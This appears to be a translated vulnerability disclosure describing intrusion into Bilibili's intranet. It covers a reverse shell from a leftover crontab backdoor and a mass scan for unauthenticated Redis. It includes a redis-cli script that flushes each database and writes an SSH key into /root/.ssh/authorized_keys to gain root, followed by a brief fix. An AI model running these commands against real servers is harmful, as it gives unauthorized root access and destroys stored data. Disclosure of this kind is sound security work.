Bilibili Intranet roaming: redis obtains the root permission

Bilibili Intranet roaming: redis obtains the root permission

I pretended to listen to a port on VPS, and then suddenly rebounded to a shell. Well, I pretend I don't know which month a crontab backdoor brought me into Bilibili's intranet again.
There are many unauthorized redis access in the Intranet. Why not ask magic conch?

Detailed description:

I pretended to listen to a port on VPS, and then suddenly rebounded to a shell.

It is probably the crontab backdoor left in the past, but this is not important.

A few days ago, it was reported that redis was not authorized to access the database and then wrote authorized_keys to forcibly obtain permissions. In short, the principle is as follows:
Http://www.bkjia.com/Article/201512/454361.html to understand the specific use.

On the intranet of Site B, I scanned port 6379 and wrote an sh script to automate the execution.
 

Code Region

redis-cli  -h $1 flushall    cat foo.txt | redis-cli -h $1 -x set 1    redis-cli -h $1 config set dir /root/.ssh    redis-cli -h $1 config set dbfilename authorized_keys    redis-cli -h $1 save

Then one of the "m q" was successful.

Bilibili ~

Because redis is started with the root permission, you can directly write files under/root/. ssh.

Proof of vulnerability:

Solution:

Use the nobody permission to start redis .,

In addition, the authorized_keys of 172.16.0.208 and 172.16.0.203 have been restored, and the crontab backdoor has been cleared.